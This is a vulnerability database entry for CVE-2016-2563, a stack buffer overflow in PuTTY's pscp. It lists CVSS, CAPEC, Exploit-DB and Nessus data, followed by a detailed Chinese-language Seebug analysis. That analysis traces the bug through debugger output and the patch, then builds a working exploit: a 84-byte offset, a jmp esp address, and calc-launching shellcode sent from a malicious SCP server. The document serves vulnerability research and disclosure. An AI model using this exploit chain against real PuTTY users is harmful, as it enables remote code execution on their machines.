Vulnerabilities > CVE-2016-2563 - Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in multiple products

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
9bis
simon-tatham
CWE-119
nessus
exploit available
NVD
Published: 2016-04-07
Updated: 2016-12-03

Summary

Stack-based buffer overflow in the SCP command-line utility in PuTTY before 0.67 and KiTTY 0.66.6.3 and earlier allows remote servers to cause a denial of service (stack memory corruption) or execute arbitrary code via a crafted SCP-SINK file-size response to an SCP download request.

Vulnerable Configurations

Part Description Count
Application
9Bis
1
Application
Simon_Tatham
24

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Overflow Buffers
    Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
  • Client-side Injection-induced Buffer Overflow
    This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
  • Filter Failure through Buffer Overflow
    In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
  • MIME Conversion
    An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

Exploit-Db

descriptionPutty pscp - Stack Buffer Overwrite. CVE-2016-2563. Dos exploits for multiple platform
idEDB-ID:39551
last seen2016-03-11
modified2016-03-10
published2016-03-10
reportertintinweb
sourcehttps://www.exploit-db.com/download/39551/
titlePutty pscp <= 0.66 - Stack Buffer Overwrite

Nessus

  • NASL familyWindows
    NASL idPUTTY_067.NASL
    descriptionThe remote host has a version of PuTTY installed that is prior to 0.67. It is, therefore, affected by a stack-based buffer overflow related to handling SCP-SINK file-size responses that could allow arbitrary code execution.
    last seen2020-06-01
    modified2020-06-02
    plugin id105154
    published2017-12-11
    reporterThis script is Copyright (C) 2017-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105154
    titlePuTTY < 0.67 PSCP Server Header Handling Stack Buffer Overflow
  • NASL familyGentoo Local Security Checks
    NASL idGENTOO_GLSA-201606-01.NASL
    descriptionThe remote host is affected by the vulnerability described in GLSA-201606-01 (PuTTY: Multiple vulnerabilities) Multiple vulnerabilities have been discovered in PuTTY. Please review the CVE identifiers referenced below for details. Impact : Stack-based buffer overflow in the SCP command-line utility allows remote servers to execute arbitrary code or cause a denial of service condition via a crafted SCP-SINK file-size response to an SCP download request. Workaround : There is no known workaround at this time.
    last seen2020-06-01
    modified2020-06-02
    plugin id91478
    published2016-06-06
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91478
    titleGLSA-201606-01 : PuTTY: Multiple vulnerabilities
  • NASL familyFreeBSD Local Security Checks
    NASL idFREEBSD_PKG_7F0FBB30E46211E5A3F3080027EF73EC.NASL
    descriptionSimon G. Tatham reports : Many versions of PSCP prior to 0.67 have a stack corruption vulnerability in their treatment of the
    last seen2020-06-01
    modified2020-06-02
    plugin id89727
    published2016-03-08
    reporterThis script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/89727
    titleFreeBSD : PuTTY - old-style scp downloads may allow remote code execution (7f0fbb30-e462-11e5-a3f3-080027ef73ec)
  • NASL familySuSE Local Security Checks
    NASL idOPENSUSE-2016-667.NASL
    descriptionThis update to putty 0.67 fixes the following vulnerability : - CVE-2016-2563: old-style scp downloads may allow remote code execution (boo#981407)
    last seen2020-06-05
    modified2016-06-01
    plugin id91412
    published2016-06-01
    reporterThis script is Copyright (C) 2016-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/91412
    titleopenSUSE Security Update : putty (openSUSE-2016-667)

Seebug

bulletinFamilyexploit
description### 漏洞说明 ------------------------------------------------------- 此漏洞是由于pscp连接目标主机后，接收文件路径时，函数sub_407997在处理文件路径长度时，调用到sscanf函数，此函数对传入的文件路径没有进行严格的长度控制，从而导致了畸形字符串覆盖了参数缓冲区，导致程序返回地址可控，从而可以执行任意代码。 值得一提的是，通过poc我构造了可以远程执行代码的exp，稍后会进行详细说明，无论在windows主机，还是linux主机，执行exp.py之后，可以反控对方主机，执行任意代码，下面，我将通过漏洞回溯，补丁对比以及exp构造三方面来详细说明此漏洞。 ### 漏洞分析 首先我们运行poc.py，同时通过命令： ``` pscp.exe -scp root@IP:/etc/passwd . ``` 来触发此漏洞，运行后输入密码，之后程序崩溃，我们通过附加windbg来观察崩溃位置。 ``` (4d308.4ea50): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=00000000 ecx=00127dc4 edx=00000000 esi=01320ba1 edi=00000000 eip=41414141 esp=00127e1c ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 41414141 ?? ??? ``` 可以看到此时eip已经执行到41414141，而41414141正是poc中构造的畸形字符串，说明程序可控，那么接下来我们要回溯一下漏洞发生前的情况，通过kb查看堆栈调用。 ``` 0:000> kb ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 00127e18 41414141 41414141 41414141 41414141 0x41414141 00127e1c 41414141 41414141 41414141 41414141 0x41414141 00127e20 41414141 41414141 41414141 41414141 0x41414141 00127e24 41414141 41414141 41414141 41414141 0x41414141 00127e28 41414141 41414141 41414141 41414141 0x41414141 00127e2c 41414141 41414141 41414141 41414141 0x41414141 00127e30 41414141 41414141 41414141 41414141 0x41414141 ``` 此时堆栈已经完全被畸形字符串冲垮，那么就需要从一些关键函数入手来回溯整个过程，我们通过poc的一些情况介绍，可以知道是sscanf出现的问题，那么通过ida，可以找到sscanf函数位置。 ``` .text:00435FB0 ; int sscanf(const char *, const char *, ...) .text:00435FB0 _sscanf proc near ; CODE XREF: sub_4051D3+226p .text:00435FB0 ; sub_407997+600p ... .text:00435FB0 .text:00435FB0 var_20 = FILE ptr -20h .text:00435FB0 arg_0 = dword ptr 8 .text:00435FB0 arg_4 = dword ptr 0Ch .text:00435FB0 arg_8 = dword ptr 10h .text:00435FB0 .text:00435FB0 push ebp .text:00435FB1 mov ebp, esp .text:00435FB3 sub esp, 20h .text:00435FB6 mov eax, [ebp+arg_0] .text:00435FB9 push eax ; char * .text:00435FBA mov [ebp+var_20._flag], 49h .text:00435FC1 mov [ebp+var_20._base], eax .text:00435FC4 mov [ebp+var_20._ptr], eax .text:00435FC7 call _strlen .text:00435FCC mov [ebp+var_20._cnt], eax .text:00435FCF lea eax, [ebp+arg_8] .text:00435FD2 push eax ; int .text:00435FD3 push [ebp+arg_4] ; int .text:00435FD6 lea eax, [ebp+var_20] .text:00435FD9 push eax ; FILE * .text:00435FDA call __input .text:00435FDF add esp, 10h .text:00435FE2 leave .text:00435FE3 retn .text:00435FE3 _sscanf endp ``` 可以看到，sscanf处于主程序领空，说明sscanf是作为程序的一个函数独立编写的，那么接下来我们就在sscanf下断点，进行跟踪，但我在跟踪的过程中，发现windbg并不能有效的中断在sscanf的位置，因此此次分析我们使用ollydbg来进行分析。 我们通过od带参数启动pscp.exe，通过查找模块间调用，对call sscanf下断点，多次命中断点执行后程序终于到达漏洞现场，观察一下栈里的情况。 ``` 00127DA0 00408012 返回到 pscp.00408012 来自 pscp.00435FB0 00127DA4 01409360 ASCII "755 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 00127DA8 0044065C ASCII "%lo %s %n" 00127DAC 0012FE34 ``` 可以看到此时栈中的调用，在00127DA4栈中的情况已经覆盖上了畸形字符串，那么这时候我们看一下堆栈回溯。 ``` 调用堆栈： 主线程 地址 堆栈 函数过程 / 参数 调用来自 结构 00127DA0 00408012 pscp.00435FB0 pscp.0040800D 00127E14 00127E18 004084D2 pscp.00407997 pscp.004084CD 00127E14 0012FE7C 0040894D pscp.0040847D pscp.00408948 0012FE78 0012FE94 004093D0 pscp.00408855 pscp.004093CB 0012FE90 0012FEB0 00437120 ? pscp.004324A1 pscp.0043711B 0012FEAC ``` 观察堆栈可以看到之前的调用情况，我们通过这种方式就能够成功回溯漏洞触发的原因，在最外层调用可以看到 ``` loc_409302: ; "-scp" push offset aScp push dword ptr [esi] ; char * call _strcmp test eax, eax pop ecx pop ecx jnz short loc_409322 ``` 是对-scp指令的操作，接下来看一下00408948地址的位置。 ``` .text:00408944 push esi ; int .text:00408945 push [ebp+lpFileName] ; lpFileName .text:00408948 call sub_40847D ``` 同时观察一下od的堆栈和寄存器情况。 ``` EAX 00000000 ECX 77B868B0 ntdll.77B868B0 EDX 01340164 EBX 00000001 ESP 0012FE80 EBP 0012FE90 ESI 01340B78 ASCII "/etc/passwd" EDI 00000000 EIP 00408948 pscp.00408948 0012FE80 01340B84 UNICODE "." 0012FE84 01340B78 ASCII "/etc/passwd" ``` 可以看到sub_40847D函数的第一个参数是“.”，是-scp参数用于从linux主机传回windows主机操作时，要在自己主机创建的文件，那么接下来跟入这个函数。 ``` .text:004084C9 lea eax, [ebp+var_50] .text:004084CC push eax .text:004084CD call sub_407997 ``` 到达004084CD处的call调用时，单步步过，到达漏洞现场，那么重新开启此程序，继续跟入此函数，在sub_407997函数中发现了一处循环。 ![](https://images.seebug.org/contribute/5930e7d9-0582-46c9-b693-c536234f61c9) 对此处循环直接步过，发现第一次循环结束时，eax的值 ``` T1444608444 0 1444608444 0\n ``` 这个值很熟悉，正是poc中send的值，那么直接F9，果然再次命中此次循环，再次执行结束时观察堆栈情况。 ``` ECX 01623180 ASCII "755 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" EDX 0162210A EBX 00000043 ESP 00127DB8 EBP 00127E14 ESI 0012FE28 EDI 00000001 EIP 00407F4F pscp.00407F4F ``` 查看一下内存状况 ``` 01623178 6C 46 F0 44 6D 9E 02 10 37 35 35 20 41 41 41 41 lF餌m?755 AAAA 01623188 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01623198 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 016231A8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 016231B8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 016231C8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 016231D8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 016231E8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 016231F8 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01623208 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01623218 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01623228 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01623238 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01623248 41 41 41 41 20 0A 41 41 41 41 41 41 41 41 41 41 AAAA .AAAAAAAAAA 01623258 41 41 41 20 0A 00 00 00 00 00 00 00 00 00 00 00 AAA ............ ``` 果然已经被畸形字符串覆盖，那么接下来循环结束，到达sscanf位置。 ``` .text:00407FEE loc_407FEE: ; CODE XREF: sub_407997+5DCj .text:00407FEE xor eax, eax .text:00407FF0 cmp ebx, 43h .text:00407FF3 setnz al .text:00407FF6 inc eax .text:00407FF7 mov [esi], eax .text:00407FF9 lea eax, [ebp+var_C] .text:00407FFC push eax .text:00407FFD lea eax, [ebp+var_50] .text:00408000 push eax .text:00408001 lea eax, [esi+0Ch] .text:00408004 push eax .text:00408005 push offset aLoSN ; "%lo %s %n" .text:0040800A push dword ptr [esi+4] ; char * .text:0040800D call _sscanf 堆栈 ds:[0012FE2C]=01623180, (ASCII "755 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") ``` 此时传入的参数已经是畸形字符串了，那么我们来看一下这个函数中的伪代码。首先在之前接收send部分的伪代码。 ``` do { if ( sub_40679C() <= 0 ) sub_4068C6("Lost connection", v56); v51 = v72; if ( v72 >= (signed int)v65 ) { v52 = *(void **)(a1 + 4); v65 = (_DWORD *)(v72 + 128); *(_DWORD *)(a1 + 4) = sub_403B8E(v52, v72 + 128, 1); v51 = v72; } *(_BYTE *)(v51 + *(_DWORD *)(a1 + 4)) = v74; ++v72; } while ( v74 != 10 ); ``` 接着到达sscanf位置的伪代码。 ``` if ( sscanf(*(const char **)(a1 + 4), "%ld %*d %ld %*d", a1 + 32, a1 + 28) != 2 ) sub_4068C6("Protocol error: Illegal time format", v56); v53 = dword_4532F4; *(_DWORD *)(a1 + 24) = 1; (*(void (__cdecl **)(int, char *, signed int))(v53 + 12))(dword_4532E0, &byte_43F453, 1); } *(_DWORD *)a1 = (v50 != 67) + 1; if ( sscanf(*(const char **)(a1 + 4), "%lo %s %n", a1 + 12, &v57, &v72) != 2 ) sub_4068C6("Protocol error: Illegal file descriptor format", v56); ``` 可以看到，在接收到文件名的时候到sscanf时，对目标主机发送回来的文件名没有进行文件长度检查和控制，导致在执行sscanf后返回造成了缓冲区溢出。 ### 补丁对比 ---------------------------------------------------- 漏洞出现之后，putty官方更新了新的版本0.67，更新后我们进行一下补丁对比，可以看到，在sscanf时，对传入字符串的长度进行了控制，0.66漏洞版本： ``` if ( sscanf(*(const char **)(a1 + 4), "%lo %s %n", a1 + 12, &v57, &v72) != 2 ) sub_4068C6("Protocol error: Illegal file descriptor format", v56); ``` 0.67修复后的版本 ``` if ( sscanf(*(const char **)(a1 + 4), "%lo %39s %n", a1 + 12, &v56, &v71) != 2 ) sub_406912("Protocol error: Illegal file descriptor format"); ``` 我们对0.67版本进行一次单步跟踪，到达sscanf之后，可以看到。 ``` 00127DA4 01629348 ASCII "755 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 00127DA8 0044065C ASCII "%lo %39s %n" 00127DAC 0012FE34 00127DB0 00127DC4 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 00127DB4 00127E08 UNICODE "+" ``` 在00127DB0位置对长度进行了控制，保持在39个字节，这样执行完毕后，就不会再造成缓冲区溢出，接下来，我们针对0.66版本构造EXP ### EXP构造 首先，我们需要定位返回地址的位置，我们先找到poc.py中发送畸形字符串的代码部分。 ``` rep_time = "T1444608444 0 1444608444 0\n" rep_perm_size = "C755 %s \n"%('A'*200) LOG.info("send (time): %s"%repr(rep_time)) channel.send(rep_time) LOG.info("send (perm): %s"%repr(rep_perm_size)) ``` 重新构造rep_perm_size部分。 ``` rep_time = "T1444608444 0 1444608444 0\n" rep_perm_size = "C755 %s \n"%('A'*50+'B'*150) LOG.info("send (time): %s"%repr(rep_time)) (4bfbc.48ddc): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=00000000 ecx=00127dc4 edx=00000000 esi=013a0ba1 edi=00000000 eip=42424242 esp=00127e1c ebp=42424242 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 42424242 ?? ??? ``` 可以看到返回地址已经修改成了BBBB，以此类推，定位到了关键部分。 ``` rep_time = "T1444608444 0 1444608444 0\n" rep_perm_size = "C755 %s \n"%('A'*84+'\x43\x43\x43\x43'+'\x90'*80 + '\xcc'*30) LOG.info("send (time): %s"%repr(rep_time)) (4e3a8.47dd8): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=0000006e ecx=00127dc4 edx=00000000 esi=002e0ba1 edi=00000000 eip=00127e8a esp=00127e1c ebp=41414141 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 00127e8a 0000 add byte ptr [eax],al ds:0023:00000000=?? 0:000> dd esp 00127e1c 43434343 43434343 43434343 43434343 00127e2c 43434343 43434343 43434343 43434343 00127e3c 43434343 43434343 43434343 43434343 00127e4c 43434343 43434343 43434343 43434343 00127e5c 43434343 43434343 43434343 43434343 00127e6c 43434343 43434343 43434343 43434343 00127e7c 43434343 43434343 43434343 00004343 ``` 在偏移84的位置的时候，正好是覆盖返回地址的时候，这样，我们使用万能跳转地址7ffa4512 jmp esp，这个地址在32位版本的win7和winxp下适用。同时，在jmp esp后面部署我们即将部署的shellcode作为测试。 ``` rep_time = "T1444608444 0 1444608444 0\n" rep_perm_size = "C755 %s \n"%('A'*84+'\x12\x45\xfa\x7f'+'\x90'*80 + '\xcc'*30) LOG.info("send (time): %s"%repr(rep_time)) (4a7f0.4acd0): Break instruction exception - code 80000003 (!!! second chance !!!) eax=00000000 ebx=00000000 ecx=00127dc4 edx=00000000 esi=01330ba1 edi=00000000 eip=00127e6c esp=00127e1c ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 00127e6c cc int 3 0:000> dd esp 00127e1c 90909090 90909090 90909090 90909090 00127e2c 90909090 90909090 90909090 90909090 00127e3c 90909090 90909090 90909090 90909090 00127e4c 90909090 90909090 90909090 90909090 00127e5c 90909090 90909090 90909090 90909090 00127e6c cccccccc cccccccc cccccccc cccccccc 00127e7c cccccccc cccccccc cccccccc 0000cccc ``` 可以看到程序顺利中断在cc硬断点处，可见shellcode已经被执行，接下来我们来确定一下shellcode在程序中的位置。 ``` rep_perm_size = "C755 %s \n"%('A'*84+'\x12\x45\xfa\x7f'+ '\xaa\xbb\xcc\xdd'+'\x90'*80 + '\xcc'*30) LOG.info("send (time): %s"%repr(rep_time)) (92d4.92d8): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=00000000 ecx=00187dc4 edx=00000000 esi=005211cd edi=00000000 eip=7ffa4512 esp=00187e1c ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 7ffa4512 ?? ??? 0:000> dd esp 00187e1c ddccbbaa 90909090 90909090 90909090 00187e2c 90909090 90909090 90909090 90909090 00187e3c 90909090 90909090 90909090 90909090 00187e4c 90909090 90909090 90909090 90909090 00187e5c 90909090 90909090 90909090 90909090 00187e6c 90909090 cccccccc cccccccc cccccccc 00187e7c cccccccc cccccccc cccccccc cccccccc 00187e8c 0000cccc 00000000 00000000 00000000 ``` 可以看到直接拼接在7ffa4512后面即可，这里之所以7ffa4512处没有指令是因为我用了win7 64位版本，在真正漏洞利用过程中，最好根据想溢出的系统来进行shellcode和jmp esp地址的修改。接下来，我们直接构造畸形字符串。 ``` shellcode = ("\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0" "\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x61\x6c" "\x63\x2e\x65\x78\x65\x00") jmpesp = '' LOG.info("REQUEST: EXEC %s %s"%(channel,command)) transport = channel.get_transport() try: if "putty" in transport.CONN_INFO['client'].lower() \ and "scp -f" in command: LOG.warning("Oh, hello putty/pscp %s, nice to meet you!"%transport.CONN_INFO['client']) # hello putty # putty pscp stack buffer overwrite, EIP rep_time = "T1444608444 0 1444608444 0\n" rep_perm_size = "C755 %s \n"%('A'*84+'\x12\x45\xfa\x7f'+ shellcode + '\x90'*30) ``` 再次执行exp.py，另一边用pscp连接，计算器弹出。 ![](https://images.seebug.org/contribute/20496471-6a41-4ae5-97ef-be02857005ad) #### 参考链接 * http://www.chiark.greenend.org.uk/~sgtatham/putty/ * http://tartarus.org/~simon-git/gitweb/?p=putty.git * http://tartarus.org/~simon-git/gitweb/?p=putty.git;a=tree;h=5baaacba07aff7bd680cf9954fee44a0c11dc968;hb=c8ac73ada6aa865ce9f4d0e389ba210072bc0b57 * http://tartarus.org/~simon-git/gitweb/?p=putty.git;a=blob;f=pscp.c;hb=HEAD * http://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-pscp-sink-sscanf.html * https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-2563
idSSV:90921
last seen2017-11-19
modified2016-03-07
published2016-03-07
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-90921
titlePuTTY pscp 客户端栈缓冲区覆盖(CVE-2016-2563)

References